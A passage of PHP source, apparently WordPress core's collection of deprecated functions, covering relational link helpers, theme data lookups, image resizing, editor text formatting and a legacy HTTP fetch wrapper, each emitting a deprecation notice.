 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title               Optional. Link title format. Default '%title'.
 * @param bool   $in_same_cat         Optional. Whether link should be in a same category.
 *                                    Default false.
 * @param string $excluded_categories Optional. Excluded categories IDs. Default empty.
 * @param bool   $start               Optional. Whether to display link to first or last post.
 *                                    Default true.
 * @return string
 */
function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$posts = get_boundary_post($in_same_cat, $excluded_categories, $start);
	// If there is no post, stop.
	if ( empty($posts) )
		return;

	// Even though we limited get_posts() to return only 1 item it still returns an array of objects.
	$post = $posts[0];

	if ( empty($post->post_title) )
		$post->post_title = $start ? __('First Post') : __('Last Post');

	$date = mysql2date(get_option('date_format'), $post->post_date);

	$title = str_replace('%title', $post->post_title, $title);
	$title = str_replace('%date', $date, $title);
	$title = apply_filters('the_title', $title, $post->ID);

	$link = $start ? "<link rel='start' title='" : "<link rel='end' title='";
	$link .= esc_attr($title);
	$link .= "' href='" . get_permalink($post) . "' />\n";

	$boundary = $start ? 'start' : 'end';
	return apply_filters( "{$boundary}_post_rel_link", $link );
}

/**
 * Display relational link for the first post.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title Optional. Link title format.
 * @param bool $in_same_cat Optional. Whether link should be in a same category.
 * @param string $excluded_categories Optional. Excluded categories IDs.
 */
function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true);
}

/**
 * Get site index relational link.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @return string
 */
function get_index_rel_link() {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$link = "<link rel='index' title='" . esc_attr( get_bloginfo( 'name', 'display' ) ) . "' href='" . esc_url( user_trailingslashit( get_bloginfo( 'url', 'display' ) ) ) . "' />\n";
	return apply_filters( "index_rel_link", $link );
}

/**
 * Display relational link for the site index.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 */
function index_rel_link() {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_index_rel_link();
}

/**
 * Get parent post relational link.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @global WP_Post $post Global post object.
 *
 * @param string $title Optional. Link title format. Default '%title'.
 * @return string
 */
function get_parent_post_rel_link( $title = '%title' ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) )
		$post = get_post($GLOBALS['post']->post_parent);

	if ( empty($post) )
		return;

	$date = mysql2date(get_option('date_format'), $post->post_date);

	$title = str_replace('%title', $post->post_title, $title);
	$title = str_replace('%date', $date, $title);
	$title = apply_filters('the_title', $title, $post->ID);

	$link = "<link rel='up' title='";
	$link .= esc_attr( $title );
	$link .= "' href='" . get_permalink($post) . "' />\n";

	return apply_filters( "parent_post_rel_link", $link );
}

/**
 * Display relational link for parent item
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title Optional. Link title format. Default '%title'.
 */
function parent_post_rel_link( $title = '%title' ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_parent_post_rel_link($title);
}

/**
 * Add the "Dashboard"/"Visit Site" menu.
 *
 * @since 3.2.0
 * @deprecated 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance.
 */
function wp_admin_bar_dashboard_view_site_menu( $wp_admin_bar ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$user_id = get_current_user_id();

	if ( 0 != $user_id ) {
		if ( is_admin() )
			$wp_admin_bar->add_menu( array( 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url() ) );
		elseif ( is_multisite() )
			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => get_dashboard_url( $user_id ) ) );
		else
			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url() ) );
	}
}

/**
 * Checks if the current user belong to a given site.
 *
 * @since MU (3.0.0)
 * @deprecated 3.3.0 Use is_user_member_of_blog()
 * @see is_user_member_of_blog()
 *
 * @param int $blog_id Site ID
 * @return bool True if the current users belong to $blog_id, false if not.
 */
function is_blog_user( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'is_user_member_of_blog()' );

	return is_user_member_of_blog( get_current_user_id(), $blog_id );
}

/**
 * Open the file handle for debugging.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param string $filename File name.
 * @param string $mode     Type of access you required to the stream.
 * @return false Always false.
 */
function debug_fopen( $filename, $mode ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
	return false;
}

/**
 * Write contents to the file used for debugging.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param mixed  $fp      Unused.
 * @param string $message Message to log.
 */
function debug_fwrite( $fp, $message ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
	if ( ! empty( $GLOBALS['debug'] ) )
		error_log( $message );
}

/**
 * Close the debugging file handle.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param mixed $fp Unused.
 */
function debug_fclose( $fp ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
}

/**
 * Retrieve list of themes with theme data in theme directory.
 *
 * The theme is broken, if it doesn't have a parent theme and is missing either
 * style.css and, or index.php. If the theme has a parent theme then it is
 * broken, if it is missing style.css; index.php is optional.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return array Theme list with theme data.
 */
function get_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_themes()' );

	global $wp_themes;
	if ( isset( $wp_themes ) )
		return $wp_themes;

	$themes = wp_get_themes();
	$wp_themes = array();

	foreach ( $themes as $theme ) {
		$name = $theme->get('Name');
		if ( isset( $wp_themes[ $name ] ) )
			$wp_themes[ $name . '/' . $theme->get_stylesheet() ] = $theme;
		else
			$wp_themes[ $name ] = $theme;
	}

	return $wp_themes;
}

/**
 * Retrieve theme data.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @param string $theme Theme name.
 * @return array|null Null, if theme name does not exist. Theme data, if exists.
 */
function get_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme( $stylesheet )' );

	$themes = get_themes();
	if ( is_array( $themes ) && array_key_exists( $theme, $themes ) )
		return $themes[ $theme ];
	return null;
}

/**
 * Retrieve current theme name.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @return string
 */
function get_current_theme() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );

	if ( $theme = get_option( 'current_theme' ) )
		return $theme;

	return wp_get_theme()->get('Name');
}

/**
 * Accepts matches array from preg_replace_callback in wpautop() or a string.
 *
 * Ensures that the contents of a `<pre>...</pre>` HTML block are not
 * converted into paragraphs or line breaks.
 *
 * @since 1.2.0
 * @deprecated 3.4.0
 *
 * @param array|string $matches The array or string
 * @return string The pre block without paragraph/line break conversion.
 */
function clean_pre($matches) {
	_deprecated_function( __FUNCTION__, '3.4.0' );

	if ( is_array($matches) )
		$text = $matches[1] . $matches[2] . "</pre>";
	else
		$text = $matches;

	$text = str_replace(array('<br />', '<br/>', '<br>'), array('', '', ''), $text);
	$text = str_replace('<p>', "\n", $text);
	$text = str_replace('</p>', '', $text);

	return $text;
}


/**
 * Add callbacks for image header display.
 *
 * @since 2.1.0
 * @deprecated 3.4.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
 * @param callable $admin_head_callback Call on custom header administration screen.
 * @param callable $admin_preview_callback Output a custom header image div on the custom header administration screen. Optional.
 */
function add_custom_image_header( $wp_head_callback, $admin_head_callback, $admin_preview_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-header\', $args )' );
	$args = array(
		'wp-head-callback'    => $wp_head_callback,
		'admin-head-callback' => $admin_head_callback,
	);
	if ( $admin_preview_callback )
		$args['admin-preview-callback'] = $admin_preview_callback;
	return add_theme_support( 'custom-header', $args );
}

/**
 * Remove image header support.
 *
 * @since 3.1.0
 * @deprecated 3.4.0 Use remove_theme_support()
 * @see remove_theme_support()
 *
 * @return null|bool Whether support was removed.
 */
function remove_custom_image_header() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-header\' )' );
	return remove_theme_support( 'custom-header' );
}

/**
 * Add callbacks for background image display.
 *
 * @since 3.0.0
 * @deprecated 3.4.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
 * @param callable $admin_head_callback Call on custom background administration screen.
 * @param callable $admin_preview_callback Output a custom background image div on the custom background administration screen. Optional.
 */
function add_custom_background( $wp_head_callback = '', $admin_head_callback = '', $admin_preview_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-background\', $args )' );
	$args = array();
	if ( $wp_head_callback )
		$args['wp-head-callback'] = $wp_head_callback;
	if ( $admin_head_callback )
		$args['admin-head-callback'] = $admin_head_callback;
	if ( $admin_preview_callback )
		$args['admin-preview-callback'] = $admin_preview_callback;
	return add_theme_support( 'custom-background', $args );
}

/**
 * Remove custom background support.
 *
 * @since 3.1.0
 * @deprecated 3.4.0 Use add_custom_background()
 * @see add_custom_background()
 *
 * @return null|bool Whether support was removed.
 */
function remove_custom_background() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-background\' )' );
	return remove_theme_support( 'custom-background' );
}

/**
 * Retrieve theme data from parsed theme file.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @param string $theme_file Theme file path.
 * @return array Theme data.
 */
function get_theme_data( $theme_file ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );
	$theme = new WP_Theme( wp_basename( dirname( $theme_file ) ), dirname( dirname( $theme_file ) ) );

	$theme_data = array(
		'Name' => $theme->get('Name'),
		'URI' => $theme->display('ThemeURI', true, false),
		'Description' => $theme->display('Description', true, false),
		'Author' => $theme->display('Author', true, false),
		'AuthorURI' => $theme->display('AuthorURI', true, false),
		'Version' => $theme->get('Version'),
		'Template' => $theme->get('Template'),
		'Status' => $theme->get('Status'),
		'Tags' => $theme->get('Tags'),
		'Title' => $theme->get('Name'),
		'AuthorName' => $theme->get('Author'),
	);

	foreach ( apply_filters( 'extra_theme_headers', array() ) as $extra_header ) {
		if ( ! isset( $theme_data[ $extra_header ] ) )
			$theme_data[ $extra_header ] = $theme->get( $extra_header );
	}

	return $theme_data;
}

/**
 * Alias of update_post_cache().
 *
 * @see update_post_cache() Posts and pages are the same, alias is intentional
 *
 * @since 1.5.1
 * @deprecated 3.4.0 Use update_post_cache()
 * @see update_post_cache()
 *
 * @param array $pages list of page objects
 */
function update_page_cache( &$pages ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'update_post_cache()' );

	update_post_cache( $pages );
}

/**
 * Will clean the page in the cache.
 *
 * Clean (read: delete) page from cache that matches $id. Will also clean cache
 * associated with 'all_page_ids' and 'get_pages'.
 *
 * @since 2.0.0
 * @deprecated 3.4.0 Use clean_post_cache
 * @see clean_post_cache()
 *
 * @param int $id Page ID to clean
 */
function clean_page_cache( $id ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'clean_post_cache()' );

	clean_post_cache( $id );
}

/**
 * Retrieve nonce action "Are you sure" message.
 *
 * Deprecated in 3.4.1 and 3.5.0. Backported to 3.3.3.
 *
 * @since 2.0.4
 * @deprecated 3.4.1 Use wp_nonce_ays()
 * @see wp_nonce_ays()
 *
 * @param string $action Nonce action.
 * @return string Are you sure message.
 */
function wp_explain_nonce( $action ) {
	_deprecated_function( __FUNCTION__, '3.4.1', 'wp_nonce_ays()' );
	return __( 'Are you sure you want to do this?' );
}

/**
 * Display "sticky" CSS class, if a post is sticky.
 *
 * @since 2.7.0
 * @deprecated 3.5.0 Use post_class()
 * @see post_class()
 *
 * @param int $post_id An optional post ID.
 */
function sticky_class( $post_id = null ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'post_class()' );
	if ( is_sticky( $post_id ) )
		echo ' sticky';
}

/**
 * Retrieve post ancestors.
 *
 * This is no longer needed as WP_Post lazy-loads the ancestors
 * property with get_post_ancestors().
 *
 * @since 2.3.4
 * @deprecated 3.5.0 Use get_post_ancestors()
 * @see get_post_ancestors()
 *
 * @param WP_Post $post Post object, passed by reference (unused).
 */
function _get_post_ancestors( &$post ) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * Load an image from a string, if PHP supports it.
 *
 * @since 2.1.0
 * @deprecated 3.5.0 Use wp_get_image_editor()
 * @see wp_get_image_editor()
 *
 * @param string $file Filename of the image to load.
 * @return resource|GdImage|string The resulting image resource or GdImage instance on success,
 *                                 error string on failure.
 */
function wp_load_image( $file ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );

	if ( is_numeric( $file ) )
		$file = get_attached_file( $file );

	if ( ! is_file( $file ) ) {
		/* translators: %s: File name. */
		return sprintf( __( 'File &#8220;%s&#8221; does not exist?' ), $file );
	}

	if ( ! function_exists('imagecreatefromstring') )
		return __('The GD image library is not installed.');

	// Set artificially high because GD uses uncompressed images in memory.
	wp_raise_memory_limit( 'image' );

	$image = imagecreatefromstring( file_get_contents( $file ) );

	if ( ! is_gd_image( $image ) ) {
		/* translators: %s: File name. */
		return sprintf( __( 'File &#8220;%s&#8221; is not an image.' ), $file );
	}

	return $image;
}

/**
 * Scale down an image to fit a particular size and save a new copy of the image.
 *
 * The PNG transparency will be preserved using the function, as well as the
 * image type. If the file going in is PNG, then the resized image is going to
 * be PNG. The only supported image types are PNG, GIF, and JPEG.
 *
 * Some functionality requires API to exist, so some PHP version may lose out
 * support. This is not the fault of WordPress (where functionality is
 * downgraded, not actual defects), but of your PHP version.
 *
 * @since 2.5.0
 * @deprecated 3.5.0 Use wp_get_image_editor()
 * @see wp_get_image_editor()
 *
 * @param string $file         Image file path.
 * @param int    $max_w        Maximum width to resize to.
 * @param int    $max_h        Maximum height to resize to.
 * @param bool   $crop         Optional. Whether to crop image or resize. Default false.
 * @param string $suffix       Optional. File suffix. Default null.
 * @param string $dest_path    Optional. New image file path. Default null.
 * @param int    $jpeg_quality Optional. Image quality percentage. Default 90.
 * @return mixed WP_Error on failure. String with new destination path.
 */
function image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );

	$editor = wp_get_image_editor( $file );
	if ( is_wp_error( $editor ) )
		return $editor;
	$editor->set_quality( $jpeg_quality );

	$resized = $editor->resize( $max_w, $max_h, $crop );
	if ( is_wp_error( $resized ) )
		return $resized;

	$dest_file = $editor->generate_filename( $suffix, $dest_path );
	$saved = $editor->save( $dest_file );

	if ( is_wp_error( $saved ) )
		return $saved;

	return $dest_file;
}

/**
 * Retrieve a single post, based on post ID.
 *
 * Has categories in 'post_category' property or key. Has tags in 'tags_input'
 * property or key.
 *
 * @since 1.0.0
 * @deprecated 3.5.0 Use get_post()
 * @see get_post()
 *
 * @param int $postid Post ID.
 * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A.
 * @return WP_Post|null Post object or array holding post contents and information
 */
function wp_get_single_post( $postid = 0, $mode = OBJECT ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );
	return get_post( $postid, $mode );
}

/**
 * Check that the user login name and password is correct.
 *
 * @since 0.71
 * @deprecated 3.5.0 Use wp_authenticate()
 * @see wp_authenticate()
 *
 * @param string $user_login User name.
 * @param string $user_pass User password.
 * @return bool False if does not authenticate, true if username and password authenticates.
 */
function user_pass_ok($user_login, $user_pass) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_authenticate()' );
	$user = wp_authenticate( $user_login, $user_pass );
	if ( is_wp_error( $user ) )
		return false;

	return true;
}

/**
 * Callback formerly fired on the save_post hook. No longer needed.
 *
 * @since 2.3.0
 * @deprecated 3.5.0
 */
function _save_post_hook() {}

/**
 * Check if the installed version of GD supports particular image type
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use wp_image_editor_supports()
 * @see wp_image_editor_supports()
 *
 * @param string $mime_type
 * @return bool
 */
function gd_edit_image_support($mime_type) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_image_editor_supports()' );

	if ( function_exists('imagetypes') ) {
		switch( $mime_type ) {
			case 'image/jpeg':
				return (imagetypes() & IMG_JPG) != 0;
			case 'image/png':
				return (imagetypes() & IMG_PNG) != 0;
			case 'image/gif':
				return (imagetypes() & IMG_GIF) != 0;
			case 'image/webp':
				return (imagetypes() & IMG_WEBP) != 0;
			case 'image/avif':
				return (imagetypes() & IMG_AVIF) != 0;
			}
	} else {
		switch( $mime_type ) {
			case 'image/jpeg':
				return function_exists('imagecreatefromjpeg');
			case 'image/png':
				return function_exists('imagecreatefrompng');
			case 'image/gif':
				return function_exists('imagecreatefromgif');
			case 'image/webp':
				return function_exists('imagecreatefromwebp');
			case 'image/avif':
				return function_exists('imagecreatefromavif');
		}
	}
	return false;
}

/**
 * Converts an integer byte value to a shorthand byte value.
 *
 * @since 2.3.0
 * @deprecated 3.6.0 Use size_format()
 * @see size_format()
 *
 * @param int $bytes An integer byte value.
 * @return string A shorthand byte value.
 */
function wp_convert_bytes_to_hr( $bytes ) {
	_deprecated_function( __FUNCTION__, '3.6.0', 'size_format()' );

	$units = array( 0 => 'B', 1 => 'KB', 2 => 'MB', 3 => 'GB', 4 => 'TB' );
	$log   = log( $bytes, KB_IN_BYTES );
	$power = (int) $log;
	$size  = KB_IN_BYTES ** ( $log - $power );

	if ( ! is_nan( $size ) && array_key_exists( $power, $units ) ) {
		$unit = $units[ $power ];
	} else {
		$size = $bytes;
		$unit = $units[0];
	}

	return $size . $unit;
}

/**
 * Formerly used internally to tidy up the search terms.
 *
 * @since 2.9.0
 * @access private
 * @deprecated 3.7.0
 *
 * @param string $t Search terms to "tidy", e.g. trim.
 * @return string Trimmed search terms.
 */
function _search_terms_tidy( $t ) {
	_deprecated_function( __FUNCTION__, '3.7.0' );
	return trim( $t, "\"'\n\r " );
}

/**
 * Determine if TinyMCE is available.
 *
 * Checks to see if the user has deleted the tinymce files to slim down
 * their WordPress installation.
 *
 * @since 2.1.0
 * @deprecated 3.9.0
 *
 * @return bool Whether TinyMCE exists.
 */
function rich_edit_exists() {
	global $wp_rich_edit_exists;
	_deprecated_function( __FUNCTION__, '3.9.0' );

	if ( ! isset( $wp_rich_edit_exists ) )
		$wp_rich_edit_exists = file_exists( ABSPATH . WPINC . '/js/tinymce/tinymce.js' );

	return $wp_rich_edit_exists;
}

/**
 * Old callback for tag link tooltips.
 *
 * @since 2.7.0
 * @access private
 * @deprecated 3.9.0
 *
 * @param int $count Number of topics.
 * @return int Number of topics.
 */
function default_topic_count_text( $count ) {
	return $count;
}

/**
 * Formerly used to escape strings before inserting into the DB.
 *
 * Has not performed this function for many, many years. Use wpdb::prepare() instead.
 *
 * @since 0.71
 * @deprecated 3.9.0
 *
 * @param string $content The text to format.
 * @return string The very same text.
 */
function format_to_post( $content ) {
	_deprecated_function( __FUNCTION__, '3.9.0' );
	return $content;
}

/**
 * Formerly used to escape strings before searching the DB. It was poorly documented and never worked as described.
 *
 * @since 2.5.0
 * @deprecated 4.0.0 Use wpdb::esc_like()
 * @see wpdb::esc_like()
 *
 * @param string $text The text to be escaped.
 * @return string text, safe for inclusion in LIKE query.
 */
function like_escape($text) {
	_deprecated_function( __FUNCTION__, '4.0.0', 'wpdb::esc_like()' );
	return str_replace( array( "%", "_" ), array( "\\%", "\\_" ), $text );
}

/**
 * Determines if the URL can be accessed over SSL.
 *
 * Determines if the URL can be accessed over SSL by using the WordPress HTTP API to access
 * the URL using https as the scheme.
 *
 * @since 2.5.0
 * @deprecated 4.0.0
 *
 * @param string $url The URL to test.
 * @return bool Whether SSL access is available.
 */
function url_is_accessable_via_ssl( $url ) {
	_deprecated_function( __FUNCTION__, '4.0.0' );

	$response = wp_remote_get( set_url_scheme( $url, 'https' ) );

	if ( !is_wp_error( $response ) ) {
		$status = wp_remote_retrieve_response_code( $response );
		if ( 200 == $status || 401 == $status ) {
			return true;
		}
	}

	return false;
}

/**
 * Start preview theme output buffer.
 *
 * Will only perform task if the user has permissions and template and preview
 * query variables exist.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 */
function preview_theme() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
}

/**
 * Private function to modify the current template when previewing a theme
 *
 * @since 2.9.0
 * @deprecated 4.3.0
 * @access private
 *
 * @return string
 */
function _preview_theme_template_filter() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Private function to modify the current stylesheet when previewing a theme
 *
 * @since 2.9.0
 * @deprecated 4.3.0
 * @access private
 *
 * @return string
 */
function _preview_theme_stylesheet_filter() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Callback function for ob_start() to capture all links in the theme.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 * @access private
 *
 * @param string $content
 * @return string
 */
function preview_theme_ob_filter( $content ) {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return $content;
}

/**
 * Manipulates preview theme links in order to control and maintain location.
 *
 * Callback function for preg_replace_callback() to accept and filter matches.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 * @access private
 *
 * @param array $matches
 * @return string
 */
function preview_theme_ob_filter_callback( $matches ) {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Formats text for the rich text editor.
 *
 * The {@see 'richedit_pre'} filter is applied here. If `$text` is empty the filter will
 * be applied to an empty string.
 *
 * @since 2.0.0
 * @deprecated 4.3.0 Use format_for_editor()
 * @see format_for_editor()
 *
 * @param string $text The text to be formatted.
 * @return string The formatted text after filter is applied.
 */
function wp_richedit_pre($text) {
	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );

	if ( empty( $text ) ) {
		/**
		 * Filters text returned for the rich text editor.
		 *
		 * This filter is first evaluated, and the value returned, if an empty string
		 * is passed to wp_richedit_pre(). If an empty string is passed, it results
		 * in a break tag and line feed.
		 *
		 * If a non-empty string is passed, the filter is evaluated on the wp_richedit_pre()
		 * return after being formatted.
		 *
		 * @since 2.0.0
		 * @deprecated 4.3.0
		 *
		 * @param string $output Text for the rich text editor.
		 */
		return apply_filters( 'richedit_pre', '' );
	}

	$output = convert_chars($text);
	$output = wpautop($output);
	$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) );

	/** This filter is documented in wp-includes/deprecated.php */
	return apply_filters( 'richedit_pre', $output );
}

/**
 * Formats text for the HTML editor.
 *
 * Unless $output is empty it will pass through htmlspecialchars before the
 * {@see 'htmledit_pre'} filter is applied.
 *
 * @since 2.5.0
 * @deprecated 4.3.0 Use format_for_editor()
 * @see format_for_editor()
 *
 * @param string $output The text to be formatted.
 * @return string Formatted text after filter applied.
 */
function wp_htmledit_pre($output) {
	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );

	if ( !empty($output) )
		$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); // Convert only '< > &'.

	/**
	 * Filters the text before it is formatted for the HTML editor.
	 *
	 * @since 2.5.0
	 * @deprecated 4.3.0
	 *
	 * @param string $output The HTML-formatted text.
	 */
	return apply_filters( 'htmledit_pre', $output );
}

/**
 * Retrieve permalink from post ID.
 *
 * @since 1.0.0
 * @deprecated 4.4.0 Use get_permalink()
 * @see get_permalink()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string|false
 */
function post_permalink( $post = 0 ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'get_permalink()' );

	return get_permalink( $post );
}

/**
 * Perform a HTTP HEAD or GET request.
 *
 * If $file_path is a writable filename, this will do a GET request and write
 * the file to that path.
 *
 * @since 2.5.0
 * @deprecated 4.4.0 Use WP_Http
 * @see WP_Http
 *
 * @param string      $url       URL to fetch.
 * @param string|bool $file_path Optional. File path to write request to. Default false.
 * @param int         $red       Optional. The number of Redirects followed, Upon 5 being hit,
 *                               returns false. Default 1.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure.
 */
function wp_get_http( $url, $file_path = false, $red = 1 ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'WP_Http' );

	if ( function_exists( 'set_time_limit' ) ) {
		@set_time_limit( 60 );
	}

	if ( $red > 5 )
		return false;

	$options = array();
	$options['redirection'] = 5;

	if ( false == $file_path )
		$options['method'] = 'HEAD';
	else
		$options['method'] = 'GET';

	$response = wp_safe_remote_request( $url, $options );

	if ( is_wp_error( $response ) )
		return false;

	$headers = wp_remote_retrieve_headers( $response );
	$headers['response'] = wp_remote_retrieve_response_code( $response );

	// WP_HTTP no longer follows redirects for HEAD requests.
	if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
		return wp_get_http( $headers['location'], $file_path, ++$red );
	}

	if ( false == $file_path )
		return $headers;

	// GET request - write it to the supplied filename.
	$out_fp = fopen($file_path, 'w');
	if ( !$out_fp )
		return $headers;

	fwrite( $out_fp,  wp_remote_retrieve_body( $response ) );
	fclose($out_fp);
	clearstatcache();

	return $headers;
}

/**
 * Whether SSL login should be forced.
 *
 * @since 2.6.0
 * @deprecated 4.4.0 Use force_ssl_admin()
 * @see force_ssl_admin()
 *
 * @param string|bool $force Optional Whether to force SSL login. Default null.
 * @return bool True if forced, false if not forced.
 */
function force_ssl_login( $force = null ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'force_ssl_admin()' );
	return force_ssl_admin( $force );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * @since 1.5.0
 * @deprecated 4.5.0
 *
 * @return string Full path to comments popup template file.
 */
function get_comments_popup_template() {
	_deprecated_function( __FUNCTION__, '4.5.0' );

	return '';
}

/**
 * Determines whether the current URL is within the comments popup window.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 * @deprecated 4.5.0
 *
 * @return false Always returns false.
 */
function is_comments_popup() {
	_deprecated_function( __FUNCTION__, '4.5.0' );

	return false;
}

/**
 * Display the JS popup script to show a comment.
 *
 * @since 0.71
 * @deprecated 4.5.0
 */
function comments_popup_script() {
	_deprecated_function( __FUNCTION__, '4.5.0' );
}

/**
 * Adds element attributes to open links in new tabs.
 *
 * @since 0.71
 * @deprecated 4.5.0
 *
 * @param string $text Content to replace links to open in a new tab.
 * @return string Content that has filtered links.
 */
function popuplinks( $text ) {
	_deprecated_function( __FUNCTION__, '4.5.0' );
	$text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text);
	return $text;
}

/**
 * The Google Video embed handler callback.
 *
 * Deprecated function that previously assisted in turning Google Video URLs
 * into embeds but that service has since been shut down.
 *
 * @since 2.9.0
 * @deprecated 4.6.0
 *
 * @return string An empty string.
 */
function wp_embed_handler_googlevideo( $matches, $attr, $url, $rawattr ) {
	_deprecated_function( __FUNCTION__, '4.6.0' );

	return '';
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * @since 1.5.0
 * @deprecated 4.7.0 The paged.php template is no longer part of the theme template hierarchy.
 *
 * @return string Full path to paged template file.
 */
function get_paged_template() {
	_deprecated_function( __FUNCTION__, '4.7.0' );

	return get_query_template( 'paged' );
}

/**
 * Removes the HTML JavaScript entities found in early versions of Netscape 4.
 *
 * Previously, this function was pulled in from the original
 * import of kses and removed a specific vulnerability only
 * existent in early version of Netscape 4. However, this
 * vulnerability never affected any other browsers and can
 * be considered safe for the modern web.
 *
 * The regular expression which sanitized this vulnerability
 * has been removed in consideration of the performance and
 * energy demands it placed, now merely passing through its
 * input to the return.
 *
 * @since 1.0.0
 * @deprecated 4.7.0 Officially dropped security support for Netscape 4.
 *
 * @param string $content
 * @return string
 */
function wp_kses_js_entities( $content ) {
	_deprecated_function( __FUNCTION__, '4.7.0' );

	return preg_replace( '%&\s*\{[^}]*(\}\s*;?|$)%', '', $content );
}

/**
 * Sort categories by ID.
 *
 * Used by usort() as a callback, should not be used directly. Can actually be
 * used to sort any term object.
 *
 * @since 2.3.0
 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @param object $a
 * @param object $b
 * @return int
 */
function _usort_terms_by_ID( $a, $b ) {
	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	if ( $a->term_id > $b->term_id )
		return 1;
	elseif ( $a->term_id < $b->term_id )
		return -1;
	else
		return 0;
}

/**
 * Sort categories by name.
 *
 * Used by usort() as a callback, should not be used directly. Can actually be
 * used to sort any term object.
 *
 * @since 2.3.0
